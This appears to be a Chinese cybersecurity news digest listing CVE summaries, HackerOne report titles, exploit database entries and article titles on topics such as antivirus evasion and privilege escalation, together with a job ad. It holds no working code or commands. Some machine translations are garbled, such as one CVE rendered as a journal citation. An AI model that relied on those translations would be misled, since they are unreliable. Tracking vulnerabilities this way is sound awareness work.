Jerry.ai 是总部位于硅⾕的明星⼈⼯智能⾦融互联⽹⾼科技公司, 聚焦万亿级市场，我们为数百万⽤户提供最
佳⼈⼯智能⾦融产品选购平台。近来，公司完成了新⼀轮上亿元级别融资, 并被领英提名为全美创业公司 50
强。我们正在致⼒于⼤规模的团队扩建，希望寻找热爱技术，喜爱技术挑战的⼈才加⼊我们的团队。 我们的
技术栈：
Javascript (with Flow) codebase: NodeJS (Express), React, React Native GraphQL API (no REST) PostgreSQL
DB (transactional) Redshift (warehouse) Redis (session storage, task queue management) Sequelize ORM
(exploring Prisma as a potential replacement) Jest test runner Infrastructure: Kubernetes cluster hosted on
AWS EC2 nodes
⼯作职责：
参与产品设计、开发、测试、部署、维护，为改进产品提供反馈和建议 合理安排各个项⽬的优先顺序，确保项⽬
按期完成并实现⽬标成果
我们需要这样的你：
3 年+相关经验，本科及以上学历，计算机，软件⼯程相关专业，具备扎实的软件开发基础知识（数据结构，算法
等等） 熟悉现代 javascript (ES6+: Classes, modules, arrow functions, async/await, destructuring, etc.) 熟悉
javascript ⼯具链以及常⽤的库 熟悉 Web 前端框架，如 ReactJs, Vue.js 等 了解服务器端渲染技术，以及 React
Native 移动端开发 了解 javascript 的最佳实践和⼀些常⽤的设计模式，具备编写⾼效简洁的 javascript 代码 会编
写和维护规范的测试集，有维护和管理⼤型代码 repo 的相关经验并且知道如何维护 repo 对代码的性能和可扩展
性有深刻的理解 乐于编写⾼质量的代码和测试集，并维护全⾯的代码覆盖测试
加分项⽬
熟练运⽤ React Native, GraphQL 以及 Apollo 相关产品开发经验
薪资福利
匹配⼀线⼤⼚的诱⼈薪资 公司提供顶配笔记本和显示器 四周带薪年假，补贴健身费⽤
⾯试流程 1.收到您的简历后，如果符合要求，我们会通过邮件与您联系第⼀轮 coding test 。 2.您有两天时间完成
coding test 。通过之后 HR 会邀请您进⾏⼀次⾮技术⾯试，以了解您的更多信息，如薪资期待等 。 3.HR ⾯试之
后是三轮技术⾯试。第⼀，⼆轮⾯试和国内的技术负责⼈⾯试，第三轮和 VP Eng 或者 CTO ⾯试，全程中⽂友
好。 4.当完成了所有的⾯试，如果您对我们给出的 offer 感到满意，就可以通过第三⽅公证平台进⾏签约，期待与
您共事 ：） 如果您感兴趣，请把您的英⽂简历发⾄： [email protected] 邮件主题字段必须包含: Senior
Software Engineer - V2EX ，我们会尽快和您取得联系。
[v2ex] [以太坊] 分享： Ubuntu Linux 上的挖矿笔记
AMD 卡 + Teamredminer Mining Ethereum with AMD 6600 XT on Ubuntu Linux Nvidia 卡 + t-rex
Ethereum(Crypto) Mining with Nvidia 3070(Ampere) on Ubuntu 20.04 with Renewable Energy
[⽕线zone] 【⽕线zone社区周激励】2021.11.8~2021.11.14公告
根据【⽕线Zone社区运营规则 v0.1】相关要求规定，为⿎励所有社区⽤户进⾏原创⽂章的分享，实⾏#原创
⽂章激励#计划，发布的原创⽂章请添加官⽅标签#原创⽂章#，否则不计⼊奖励。 奖励具体规则如下： 点赞
>10 的原创⽂章，将获得#原创⽂章激励# 300查克拉。 点赞 >10 的原创⽂章，同时可参与周度计划评选，
按照⽂章Rank值来计算排名，获得对应奖励。 符合周度激励的内容将会被设置为社区精华并对外发表在
【⽕线Zone】公众号上 Rank = 评论数 X 3 + 点赞数 X 2 + 阅读量 X 1 第⼀名：500元现⾦+500查克拉 第⼆
名：300元现⾦+300查克拉 第三名：200元现⾦+200查克拉 符合#原创⽂章激励#计划的⽂章有： 获得300
查克拉 ⽂章：浅谈cs的shellcode的使⽤⽅法 链接：https://zone.huoxian.cn/d/637 作者：wkeyi0x1之暴
⻰战⼠ ⽂章：CS服务器隐匿⾃身操作 链接：https://zone.huoxian.cn/d/636 作者：Juy ⽂章：企业安全建
设探讨——下卷 链接：https://zone.huoxian.cn/d/629 作者：jobs
同时参与#周度激励#计划排名前三名 第⼀名：500元现⾦+500查克拉 ⽂章：浅谈cs的shellcode的使⽤⽅法 链
接：https://zone.huoxian.cn/d/637 作者：wkeyi0x1之暴⻰战⼠ 第⼆名：300元现⾦+300查克拉 ⽂章：CS服务
器隐匿⾃身操作 链接：https://zone.huoxian.cn/d/636 作者：Juy 第三名：200元现⾦+200查克拉 ⽂章：企业安
全建设探讨——下卷 链接：https://zone.huoxian.cn/d/629 作者：jobs 所有奖励每周⼀进⾏结算（即本周奖励结
算上周的原创⽂章），结算完将在⽕线Zone社区进⾏结果公示，如有异议请及时联系#⽕线⼩助⼿#，⽆异议后将
在周⼆或周三发放奖励⾄⽕线安全平台账号内，可进⾏现⾦提现或兑换商品。
[看雪论坛] 华为开发者⼤会主题演讲：抖⾳短视频⽹络性能优化实践
⼤家好！我是来⾃字节跳动抖⾳体验团队的卡涛。我的分享主题是抖⾳短视频⽹络性能优化实践。接下来，
我将介绍短视频应⽤的弱⽹瓶颈，以及集成HMS Core⽆线传输服务后的改变。
[看雪论坛] 华为开发者⼤会主题演讲：3D建模服务让内容⾼效⽣产
⾸先看⼀下3D物体建模的能⼒，不同于传统的建模师⽤3D软件制作模型的⽅式，或是通过扫描仪进⾏建模
的⽅式，我们的定位是要做移动端快速的、低成本UDC的⽣产，不需要图⽚的深度信息，只需普通RGB相
机，通过拍摄物体不同⻆度的多张图像，上传到云端，即可实现物体3D⼏何模型和纹理的⾃动化⽣成。
[看雪论坛] ⼗⼤对抗勒索软件的最佳实践、Windows 10漏洞被⾮官⽅修复｜11⽉15⽇全球⽹络安全热点
安全资讯报告新⻄兰最⼤⽹络安全危机本可避免？DHB在遭袭前近半年已收到提醒 今年5⽉的⽹络攻击中，
⿊客关闭了怀卡托DHB的数百台服务器，导致⼀些癌症患者被转移⾄其他地区，选择性⼿术被推迟，患者和
⼯作⼈员的信息被传⾄暗⽹。 RNZ报道，⼀份标...
[看雪论坛] 今天中午12点，看雪·众安 2021 KCTF秋季赛挑战开启，书写你的传奇故事！
11⽉15⽇，2021 KCTF秋季赛正式开赛啦～快来⼤展身⼿
bugbountry
[List of bug bounty writeup] Fiverr email restriction bypassed | Bounty 100$
程序:Fiverr 漏洞类型:Logic flaw 赏⾦:$100 作者:Maruf Hosan
[List of bug bounty writeup] Unauthenticated Access To Cloud Portal — A
Without
漏洞类型:Authentication bypass 作者:Yukesh Kumar (@3th1c_yuk1)
[List of bug bounty writeup] How I Found multiple SQL Injection with FFUF and Sqlmap in a few
minutes
漏洞类型:SQL injection 作者:Mahmoud Youssef (@0xmahmoudjo0)
[hackone] Blog posts atom feed of a store with password protection can be accessed by anyone
影响⼚商:Shopify(https://hackerone.com/shopify) 任何⼈都可以访问带有密码保护的商店的 Blog ⽂章
atom feed
[hackone] Senseitive data Related to Shopify Host -> https://shopify.zendesk.com/
影响⼚商:Shopify 奖励:500.0USD 危险等级:none 与 Shopify Host-> https://Shopify.zendesk.com/相关的
敏感数据
[hackone] Blog posts atom feed of a store with password protection can be accessed by anyone
影响⼚商:Shopify 奖励:5000.0USD 危险等级:medium 任何⼈都可以访问带有密码保护的商店的 Blog
⽂章 atom feed
[hackone] Leaked H1's Employees Email addresses,meeting info on private bug bounty program
████████
影响⼚商:HackerOne 奖励: 危险等级:medium 泄露的 h 1员⼯电⼦邮件地址，会议信息私⼈错误赏⾦计划/
⻛云⼈物/⻛云⼈物/⻛云⼈物/⻛云⼈物/⻛云⼈物/⻛云⼈物/⻛云⼈物/⻛云⼈物
[hackone] Path traversal and file disclosure vulnerability in Apache HTTP Server 2.4.49
影响⼚商:Internet Bug Bounty 奖励:4000.0USD 危险等级:critical Apache HTTP Server 2.4.49中的路径遍
历和⽂件披露漏洞
[hackone] Failure to Invalid Session after Password Change
影响⼚商:Rockset(https://hackerone.com/rockset) 密码更改后的⽆效会话失败
[hackone] A member-member privilege could access the https://console.rockset.com/billing?
tab=payment page even though the billing page is hidden from the menu.
影响⼚商:Rockset(https://hackerone.com/rockset) 会员权限可以访问 https://console.rockset.com/billing
?tab=payment ⽹⻚，即使账单⻚⾯是隐藏在菜单中的。
[hackone] Reflected XSS in VPN Appliance
影响⼚商:New Relic 奖励:1024.0USD 危险等级:medium 在 VPN 应⽤中的体现
[hackone] A bypass of adding remote files in concrete5 FIlemanager leads to remote code execution
影响⼚商:Concrete CMS 奖励: 危险等级:medium 在 concrete5 FIlemanager 中添加远程⽂件会导致远程代
码执⾏
[hackone] The response shows the nginx version
影响⼚商:Judge.me(https://hackerone.com/judgeme) 该响应显示了 nginx 版本
[hackone] Cross-site leak allows attacker to de-anonymize members of his team from another origin
影响⼚商:Slack 奖励:250.0USD 危险等级:low 跨站点泄露允许攻击者去除来⾃其他来源的团队成员的匿名
[hackone] Drive-by arbitrary file deletion in the GDK via letter_opener_web gem
影响⼚商:GitLab 奖励:750.0USD 危险等级:medium 驱动器通过任意⽂件删除在 GDK 通过开信 _ web gem
[hackone] GlassWire 2.1.167 vulnerability - MSVR 56639
影响⼚商:GlassWire 奖励: 危险等级:medium GlassWire 2.1.167漏洞 -MSVR 56639
[hackone] Unauthorized access to employee panel with default credentials.
影响⼚商:U.S. General Services Administration 奖励: 危险等级:high 未经授权访问具有默认凭据的员⼯⾯
板。
[hackone] Broken subdomain takeover of runpanther which was pointing towards herokuapp
影响⼚商:Panther Labs 奖励:100.0USD 危险等级:medium 破碎的⼦域名接管指向 herokuapp 的
runpanther
[hackone] Stored XSS in profile page
影响⼚商:Acronis 奖励:50.0USD 危险等级:medium 在个⼈资料⻚⾯中存储 XSS
[hackone] Information disclosure on error message
影响⼚商:PortSwigger Web Security(https://hackerone.com/portswigger) 错误信息的信息披露
[hackone] CVE-2021-40870 in [███]
影响⼚商:Informatica 奖励: 危险等级:critical (美国)《科学院院刊》第2021-40870号刊载于《科学院院刊》
[《科学院院刊》]
[hackone] Possible to steal any protected files on Android
影响⼚商:ownCloud 奖励:750.0USD 危险等级:medium 可能窃取任何安卓上的受保护⽂件
[hackone] CVE-2021-40870 in []
影响⼚商:Informatica(https://hackerone.com/informatica) []的 CVE-2021-40870
漏洞监测
[Sploitus Exploit] Pentaho Business Analytics / Pentaho Business Server 9.1 Insufficient Access Control
Vulnerability exploit
[Sploitus Exploit] Pentaho Business Analytics / Pentaho Business Server 9.1 Filename Bypass
Vulnerability exploit
[Sploitus Exploit] Pentaho Business Analytics / Pentaho Business Server 9.1 Authentication Bypass
Vulnerability exploit
[Sploitus Exploit] Pentaho Business Analytics / Pentaho Business Server 9.1 SQL Injection Vulnerability
exploit
[Sploitus Exploit] Pentaho Business Analytics / Pentaho Business Server 9.1 User Enumeration
Vulnerability exploit
[Sploitus Exploit] IBM Sterling B2B Integrator Cross Site Scripting Vulnerability exploit
[Sploitus Exploit] HealthForYou 1.11.1 / HealthCoach 2.9.2 Missing Password Policy Vulnerability
exploit
[Sploitus Exploit] ImportExportTools NG 10.0.4 - HTML Injection Vulnerability exploit
[Sploitus Exploit] PHP Event Calendar Lite Edition Cross Site Scripting Vulnerability exploit
[Sploitus Exploit] Exploit for CVE-2021-40346 exploit
[Sploitus Exploit] Backdoor.Win32.Hupigon.nqr Unauthenticated Open Proxy exploit
[Sploitus Exploit] Trojan.Win32.SkynetRef.y Unauthenticated Open Proxy exploit
[Sploitus Exploit] Trojan.Win32.Servstar.poa Unquoted Service Path exploit
[Sploitus Exploit] FusionPBX 4.5.29 Remote Code Execution exploit
[Sploitus Exploit] Kmaleon 1.1.0.205 - (tipocomb) SQL Injection Vulnerability exploit
[Sploitus Exploit] FusionPBX 4.5.29 - Remote Code Execution (Authenticated) Exploit exploit
[Sploitus Exploit] Moodle Cross Site Scripting / Server-Side Request Forgery Vulnerabilities exploit
[知名组件CVE监控] CVE-2021-24806
有新的漏洞组件被发现啦,组件ID:Discuz The wpDiscuz WordPress plugin before 7.3.4 does check for
CSRF when adding, editing and deleting comments, which could allow attacker to make logged in
users such as admin edit and delete arbitrary comment, or the user who made the comment to edit it
via a CSRF attack. Attackers could also make logged in users post arbitrary comment.
7.3.4之前的 wpDiscuz WordPress 插件在添加、编辑和删除评论时会检查 CSRF，这可以让攻击者登录⽤户，如管
理员编辑和删除任意评论，或者⽤户通过 CSRF 攻击编辑评论。攻击者还可以让登录的⽤户发布任意的评论。
[最新CVE] CVE-2021-28022
Blind SQL injection in the login form in ServiceTonic Helpdesk software < 9.0.35937 allows attacker to
exfiltrate information via specially crafted HQL-compatible time-based SQL queries.
在 ServiceTonic Helpdesk 软件 < 9.0.35937的登录表单中，盲⽬的 SQL 注⼊允许攻击者通过特制的与 hl 兼容的
基于时间的 SQL 查询来过滤信息。
[最新CVE] CVE-2021-24835
The WCFM – Frontend Manager for WooCommerce along with Bookings Subscription Listings
Compatible WordPress plugin before 6.5.12, when used in combination with another WCFM -
WooCommerce Multivendor plugin such as WCFM - WooCommerce Multivendor Marketplace, does
not escape the withdrawal_vendor parameter before using it in a SQL statement, allowing low
privilege users such as Subscribers to perform SQL injection attacks
当与另⼀个 WCFM-WooCommerce 多⼚商插件(如 WCFM-WooCommerce 多⼚商市场)结合使⽤时，前端管理器
WooCommerce 和预订订阅列表兼容 WordPress 6.5.12之前的插件(如 WCFM-WooCommerce 多⼚商市场)在
SQL 语句中使⽤ withdrawal _ vendor 参数之前⽆法逃脱该参数，允许订阅者等低特权⽤户执⾏ SQL 注⼊攻击
[最新CVE] CVE-2021-24827
The Asgaros Forum WordPress plugin before 1.15.13 does not validate and escape user input when
subscribing to a topic before using it in a SQL statement, leading to an unauthenticated SQL injection
issue
1.15.13之前的 Asgaros 论坛 WordPress 插件在 SQL 语句中使⽤某个主题之前，订阅该主题时⽆法验证和转义⽤
户输⼊，导致未经验证的 SQL 注⼊问题
[最新CVE] CVE-2021-24766
The 404 to 301 – Redirect, Log and Notify 404 Errors WordPress plugin before 3.0.9 does not have
CSRF check in place when cleaning the logs, which could allow attacker to make a logged in admin
delete all of them via a CSRF attack
在3.0.9之前的404 to 301 & # 8211; Redirect，Log and Notify 404 Errors WordPress plugin before 3.0.9 does
not have CSRF check in place when cleaning The logs，which could allow attack to make a logged in admin
delete all of them via a CSRF attack
[最新CVE] CVE-2020-23572
BEESCMS v4.0 was discovered to contain an arbitrary file upload vulnerability via the component
/admin/upload.php. This vulnerability allows attackers to execute arbitrary code via a crafted image
file.
BEESCMS v4.0被发现包含通过 component/admin/upload.php 上传的任意⽂件漏洞。该漏洞允许攻击者通过精
⼼制作的图像⽂件执⾏任意代码。
[知名组件CVE监控] CVE-2021-41349
有新的漏洞组件被发现啦,组件ID:Microsoft Exchange Microsoft Exchange Server Spoofing Vulnerability
This CVE ID is unique from CVE-2021-42305.
[知名组件CVE监控] CVE-2021-42305
有新的漏洞组件被发现啦,组件ID:Microsoft Exchange Microsoft Exchange Server Spoofing Vulnerability
This CVE ID is unique from CVE-2021-41349.
Microsoftexchangeserver 欺骗漏洞此 CVE ID 是 CVE-2021-41349中唯⼀的。
[知名组件CVE监控] CVE-2021-42321
有新的漏洞组件被发现啦,组件ID:Microsoft Exchange Microsoft Exchange Server Remote Code
Execution Vulnerability
Microsoftexchangeserver 远程代码执⾏漏洞
[知名组件CVE监控] CVE-2021-43196
有新的漏洞组件被发现啦,组件ID:Docker In JetBrains TeamCity before 2021.1, information disclosure via
the Docker Registry connection dialog is possible.
在2021.1之前的 JetBrains TeamCity 中，通过 Docker Registry 连接对话框进⾏信息披露是可能的。
[最新CVE] CVE-2021-43186
JetBrains YouTrack before 2021.3.24402 is vulnerable to stored XSS.
2021.3.24402之前的 JetBrains YouTrack 容易受到存储的 XSS 的攻击。
[最新CVE] CVE-2021-41349
Microsoft Exchange Server Spoofing Vulnerability This CVE ID is unique from CVE-2021-42305.
[最新CVE] CVE-2021-38666
Remote Desktop Client Remote Code Execution Vulnerability
远程桌⾯客户端远程代码执⾏漏洞
[Sploitus Exploit] Exploit for CVE-2021-42292 exploit
[Sploitus Exploit] Win32k NtGdiResetDC Use-After-Free / Local Privilege Escalation Exploit exploit
[Sploitus Exploit] Microsoft OMI Management Interface Authentication Bypass Exploit exploit
[Sploitus Exploit] Dolibarr ERP / CRM 13.0.2 Remote Code Execution Vulnerability exploit
[Sploitus Exploit] Employee Daily Task Management System 1.0 - (Name) Stored Cross-Site Scripting
Vulnerability exploit
[Sploitus Exploit] Employee and Visitor Gate Pass Logging System 1.0 - (name) Stored Cross-Site
Scripting Vulnerability exploit
[Sploitus Exploit] Dolibarr ERP / CRM 13.0.2 Cross Site Scripting Vulnerability exploit
[Sploitus Exploit] Dolibarr ERP / CRM 13.0.2 Cross Site Scripting exploit
[Sploitus Exploit] Employee And Visitor Gate Pass Logging System 1.0 Cross Site Scripting exploit
[Sploitus Exploit] Dolibarr ERP / CRM 13.0.2 Remote Code Execution exploit
[Sploitus Exploit] Employee Daily Task Management System 1.0 Cross Site Scripting exploit
[Sploitus Exploit] Microsoft OMI Management Interface Authentication Bypass exploit
[Sploitus Exploit] Win32k NtGdiResetDC Use-After-Free / Local Privilege Escalation exploit
[知名组件CVE监控] 泛微e-cology存在SQL注⼊漏洞（CNVD-2021-73908）
有新的漏洞组件被发现啦,组件ID:泛微
[Sploitus Exploit] Win32k NtGdiResetDC Use After Free Local Privilege Elevation exploit
[知名组件CVE监控] CVE-2021-40504
有新的漏洞组件被发现啦,组件ID:SAP NetWeaver A certain template role in SAP NetWeaver Application
Server for ABAP and ABAP Platform - versions 700, 701, 702, 710, 711, 730, 731, 740, 750, 751, 752,
753, 754, 755, 756, contains transport authorizations, which exceed expected display only
permissions.
在 ABAP 和 ABAP 平台 SAP Web应⽤服务器中的某个模板⻆⾊包含传输授权，这些授权超过了预期的显示权限。
[最新CVE] CVE-2021-41427
Beeline Smart Box 2.0.38 is vulnerable to Cross Site Scripting (XSS) via the choose_mac parameter to
setup.cgi.
Beeline Smart Box 2.0.38通过 choose mac 参数 setup.cgi 易受跨⽹站脚本攻击(XSS)。
[Sploitus Exploit] Exploit for Incorrect Authorization in Microsoft exploit
[知名组件CVE监控] CVE-2021-26558
有新的漏洞组件被发现啦,组件ID:Apache Deserialization of Untrusted Data vulnerability of Apache
ShardingSphere-UI allows an attacker to inject outer link resources. This issue affects Apache
ShardingSphere-UI Apache ShardingSphere-UI version 4.1.1 and later versions; Apache
ShardingSphere-UI versions prior to 5.0.0.
Apache ShardingSphere-UI 不可信数据漏洞的反序列化允许攻击者注⼊外部链接资源。这个问题影响到 Apache
ShardingSphere-UI Apache ShardingSphere-UI version 4.1.1和更⾼版本; 5.0.0之前的 Apache
ShardingSphere-UI 版本。
[知名组件CVE监控] CVE-2021-43350
有新的漏洞组件被发现啦,组件ID:Apache An unauthenticated Apache Traffic Control Traffic Ops user
can send a request with a specially-crafted username to the POST /login endpoint of any API version
to inject unsanitized content into the LDAP filter.
未经身份验证的 Apache Traffic Control Ops ⽤户可以向任何 API 版本的 POST/login 端点发送⼀个带有特殊⽤户
名的请求，将未经过净化的内容注⼊到 LDAP 过滤器中。
[最新CVE] CVE-2021-43350
An unauthenticated Apache Traffic Control Traffic Ops user can send a request with a specially-crafted
username to the POST /login endpoint of any API version to inject unsanitized content into the LDAP
filter.
未经身份验证的 Apache Traffic Control Ops ⽤户可以向任何 API 版本的 POST/login 端点发送⼀个带有特殊⽤户
名的请求，将未经过净化的内容注⼊到 LDAP 过滤器中。
[最新CVE] CVE-2021-26558
Deserialization of Untrusted Data vulnerability of Apache ShardingSphere-UI allows an attacker to
inject outer link resources. This issue affects Apache ShardingSphere-UI Apache ShardingSphere-UI
version 4.1.1 and later versions; Apache ShardingSphere-UI versions prior to 5.0.0.
Apache ShardingSphere-UI 不可信数据漏洞的反序列化允许攻击者注⼊外部链接资源。这个问题影响到 Apache
ShardingSphere-UI Apache ShardingSphere-UI version 4.1.1和更⾼版本; 5.0.0之前的 Apache
ShardingSphere-UI 版本。
[知名组件CVE监控] CVE-2021-21699
有新的漏洞组件被发现啦,组件ID:Jenkins Jenkins Active Choices Plugin 2.5.6 and earlier does not escape
the parameter name of reactive parameters and dynamic reference parameters, resulting in a stored
cross-site scripting (XSS) vulnerability exploitable by attackers with Job/Configure permission.
Jenkins Active Choices Plugin 2.5.6及更早版本没有逃脱 reactive 参数和动态引⽤参数的参数名称，导致存储的跨
⽹站脚本/配置漏洞被具有 Job/Configure 权限的攻击者利⽤。
[知名组件CVE监控] CVE-2021-21700
有新的漏洞组件被发现啦,组件ID:Jenkins Jenkins Scriptler Plugin 3.3 and earlier does not escape the
name of scripts on the UI when asking to confirm their deletion, resulting in a stored cross-site
scripting (XSS) vulnerability exploitable by exploitable by attackers able to create Scriptler scripts.
Jenkins Scriptler Plugin 3.3和更早版本在请求确认删除脚本时，没有回避 UI 上脚本的名称，导致存储的跨⽹站脚
本/脚本漏洞被攻击者利⽤，攻击者可以创建 Scriptler 脚本。
[知名组件CVE监控] CVE-2021-21701
有新的漏洞组件被发现啦,组件ID:Jenkins Jenkins Performance Plugin 3.20 and earlier does not configure
its XML parser to prevent XML external entity (XXE) attacks.
Jenkins Performance Plugin 3.20和更早版本没有配置 XML 解析器以防⽌ XML 外部实体(XXE)攻击。
[知名组件CVE监控] CVE-2021-3945
有新的漏洞组件被发现啦,组件ID:Django django-helpdesk is vulnerable to Improper Neutralization of
Input During Web Page Generation ('Cross-site Scripting')
Django-helpdesk 在⽹⻚⽣成过程中容易受到不当中和输⼊的影响(“跨⽹站脚本”)
[exploit-db] [webapps] Fuel CMS 1.4.13 - 'col' Blind SQL Injection (Authenticated)
Fuel CMS 1.4.13 - 'col' Blind SQL Injection (Authenticated)
[exploit-db] [webapps] WordPress Plugin Contact Form to Email 1.3.24 - Stored Cross Site Scripting
(XSS) (Authenticated)
WordPress Plugin Contact Form to Email 1.3.24 - Stored Cross Site Scripting (XSS) (Authenticated)
[exploit-db] [webapps] PHP Laravel 8.70.1 - Cross Site Scripting (XSS) to Cross Site Request Forgery
(CSRF)
PHP Laravel 8.70.1 - Cross Site Scripting (XSS) to Cross Site Request Forgery (CSRF)
[Sploitus Exploit] KONGA 0.14.9 - Privilege Escalation exploit
[Sploitus Exploit] Simple Subscription Website 1.0 - SQLi Authentication Bypass exploit
[Sploitus Exploit] WordPress Plugin Contact Form to Email 1.3.24 - Stored Cross Site Scripting (XSS)
(Authenticated) exploit
[Sploitus Exploit] Fuel CMS 1.4.13 - 'col' Blind SQL Injection (Authenticated) exploit
[Sploitus Exploit] WordPress Plugin WPSchoolPress 2.1.16 - 'Multiple' Cross Site Scripting (XSS) exploit
[Sploitus Exploit] PHP Laravel 8.70.1 - Cross Site Scripting (XSS) to Cross Site Request Forgery (CSRF)
exploit
微信公众号
[微信公众号] 2021看雪SDC议题回顾 | SaTC：⼀种全新的物联⽹设备漏洞⾃动化挖掘⽅法
2021 SDC议题回顾：SaTC：⼀种全新的物联⽹设备漏洞⾃动化挖掘⽅法
[微信公众号] 新未来·新⽣态·新图谱，2021“⽹络安全创新能⼒百强评选”报名开启
欢迎各⼤⼚商登录创新百强评选官⽹或者下载ISC APP，⽕速报名！
[微信公众号] 700万客户信息泄露，证券交易平台罗宾汉遭⼊侵
零佣⾦证券交易平台Robinhood于11⽉8⽇发布博⽂称，在11⽉3⽇平台遭到⿊客⼊侵，约有700万客户的个
⼈信息被泄露。
[微信公众号] 物联⽹安全漏洞实战，全⽅位解析IoT安全！
全⽅位解析IoT安全，实战技巧收⼊囊中！
[微信公众号] 相煎何急，印APT组织蔓灵花针对巴基斯坦政府机构展开定向攻击
与巴基斯坦窃取KAVACH信息针锋相对，仿冒VPN窃取登录凭证
[微信公众号] Android应⽤攻与防
加固与反加固
[微信公众号] 2021 SDC | 圆桌会谈-业内⼤咖⻬聚，共话新安全
5位业内⼤咖深⼊探讨当前⾯临的⽹络安全新挑战，畅谈未来安全⾏业发展趋势。
[微信公众号] 倒计时20天 | CIS2021⽹络安全创新⼤会期待与您相聚
是时候来和我们⼀起交流交流今年热议的话题和关键词，⼀起“刷新认知，安全⽣⻓”。
[微信公众号] 调查显示，77%的Rootkit⽤于间谍⽬的
全球⽹络安全公司Positive Technologies发布了⼀份新的调查报告，对过去10年臭名昭著的恶意软件——
Rootkit进⾏了详尽分析。
[微信公众号] 德国医疗软件巨头遭遇勒索攻击，⽤户数据存在泄露⻛险
11⽉10⽇，Bleeping Computer⽹站披露，德国医疗软件巨头Medatixx遭遇了勒索攻击。
[微信公众号] In0ri：基于深度学习的⽹站内容污染检测系统
In0ri是⼀个内容污染检测系统，该⼯具主要利⽤⼀个图像分类卷积神经⽹络实现其功能。
[doonsec] [Qingy之安全] 红队攻击-绕过waf以及IDS等流量设备
点击蓝字关注我哦前⾔2021年了，现在渗透的越来越难了，刚打的shell，过⼀会就没了，现在的流量设备，
[doonsec] [橘猫学安全] ⼲货|Windows提权⽅法汇总
[doonsec] [鸿鹄实验室] powershell免杀抓密码姿势
前⾔：今天给⼤家分享两个利⽤powershell来bypass杀软抓密码技巧，亲测⽬前不杀。注：本号⾸发在了
[doonsec] [系统安全运维] 使⽤Sqlmap的你可能踩中了“蜜罐”
[doonsec] [LemonSec] TCP/IP协议竟然有这么多漏洞？
[doonsec] [⿊⽩之道] Linux 实时查看⽇志⽂件的 4 种⽅法
[doonsec] [⿊⽩之道] SQL⼿⼯注⼊总结 必须收藏
[doonsec] [猪猪谈安全] SRC漏洞挖掘-从零到1的历程记录
差不多从⼀个⽉之前开始尝试挖洞，因为有HR问过我挖没挖过SRC，让我很在意，所以就加⼊了挖SRC的⾏
列。1.
[doonsec] [⽹络侦查研究院] 如何使⽤PS2EXE将PowerShell脚本编译为可执⾏程序
PS2EXE是⼀个可以将PowerShell脚本编译为可执⾏程序的模块
[doonsec] [阿乐你好] 内⽹渗透 | 2. Windows Powershell⼊⻔
0x01 前⾔根据《内⽹安全攻防：渗透测试实战指南》⽬录进⾏写笔记和巩固基础。0x02 介绍Windows
[doonsec] [阿乐你好] 相煎何急，印APT组织蔓灵花针对巴基斯坦政府机构展开定向攻击
1概述近期，微步在线发现⼀起蔓灵花组织针对巴基斯坦电信管理局的攻击活动，经过快速分析，得到如下
结论：攻击者使
[微信公众号] 来得及！今晚搭上双11的末班⻋
还在等什么？即刻购！
[微信公众号] 由2021ByteCTF引出的intent重定向浅析
看雪论坛作者ID：Forgo7ten
[微信公众号] 美国犹他州议会拨款500万美元培养⽹安⼈才
美国犹太州议会向两所⼤学拨款500万美元，与科技巨头合作培养⽹络安全相关领域的⾼技术⼈才。
[微信公众号] 2021 KCTF秋季赛 | 赛题背景揭晓！
新的旅程，书写⼀段属于你⾃⼰的崭新历史。
[微信公众号] Android平台⽤户⼩⼼了，新恶意软件盯上了你们的Instagram账号
⼀种名为MasterFred的新型Android恶意软件正对Instagram 、Netflix和 Twitter⽤户构成威胁，它通过创
建虚假登录界⾯来窃取⽤户账号信息。
[微信公众号] 国际联合执法“旋⻛⾏动”盯上了Clop 勒索软件团伙
近⽇，国际刑警组织宣布，在代号为“旋⻛⾏动”的国际联合执法⾏动中，成功逮捕六名参与Clop 勒索软件⾏
动的成员。
[微信公众号] 研究发现，13个安全漏洞对⻄⻔⼦医疗设备构成威胁
研究⼈员于11⽉9⽇公布了⻄⻔⼦ Nucleus 实时操作系统
[微信公众号] JadedWraith：⼀款功能强⼤的轻量级Unix后⻔
JadedWraith是⼀款功能强⼤的轻量级Unix后⻔，仅供研究及教育⽬的使⽤。
[doonsec] [橘猫学安全] ⼀次简单的内⽹渗透靶场实战
[doonsec] [⽹络侦查研究院] 全⽹最详细CVE-2014-0502 Adobe Flash Player双重释放漏洞分析
---全国情报实战侦查⼈员都在关注的公众号----
[doonsec] [分布式实验室] 容器环境红队⼿法总结
Gartner在近期发布的《Kubernetes安全防护指导框架》中给出Kubernetes安全的8个攻击⾯，本⽂针对其
中常⻅的红队攻击⼿法进⾏了复现与总结。
[doonsec] [系统安全运维] Linux 提权总结
[doonsec] [HACK之道] ⼲货|getshell学习总结 建议收藏
[doonsec] [⿊⽩之道] ⽹站如何防⽌CSRF攻击
[微信公众号] 字节流与UUID的互转的Python实现
在windbg调试中遭遇字节流与UUID的互转
[微信公众号] CVE-2021-22048: VMware vCenter Server 权限提升漏洞通告
CVE-2021-22048: VMware vCenter Server 权限提升漏洞通告
[微信公众号] 安全⽇报（2021.11.12）
安全⽇报（2021.11.12）
[微信公众号] 【安全⻛险通告】VMware vCenter Server权限提升漏洞安全⻛险通告
奇安信CERT致⼒于第⼀时间为企业级⽤户提供安全⻛险通告和有效解决⽅案。⻛险通告近⽇，奇安信CERT
监测到V
[微信公众号] 【补丁库更新】奇安信集团2021年11⽉补丁库更新通告第⼀次更新
奇安信集团漏洞补丁运营团队⽂档信息奇安信集团最新补丁库（V6版本：2021.11.10.1）已发布，本次更新
[微信公众号] 分享⼀个基本不可能被检测到的hook⽅案
看雪论坛作者ID：梦野间
[微信公众号] 700万美元诈骗，美司法部判处俄罗斯男⼦⼗年监禁
11⽉10⽇，俄罗斯男⼦因电信诈骗罪与洗钱罪被美国司法部判处⼗年有期徒刑，诈骗⾦额超700万美元。
[微信公众号] Linux平台漏洞分析、利⽤和挖掘，挖到属于⾃⼰的漏洞！
?学完你也能挖到属于⾃⼰的漏洞！
[微信公众号] 看雪招聘|冬天来了，你也来吗？
来看雪招聘，这⾥聚合了全⽹最优质的⽹络安全⾏业相关职位，更专业更省⼼！
[微信公众号] 巴纳⽐·杰克：让科幻电影变成现实
他有个未完成的演讲，主题是《⼊侵⼈体》
[微信公众号] 360⼤数据安全能⼒框架正式发布！安全资讯，⼀⽹打尽！
安全资讯，⼀⽹打尽！
[doonsec] [⽹络侦查研究院] 【⼲货】基础免杀⼿法暴⻛吸⼊
”免杀⼀般都是靠组合拳”
[doonsec] [⿊⽩之道] 实战 | 记⼀次诡异的⽹站篡改应急响应
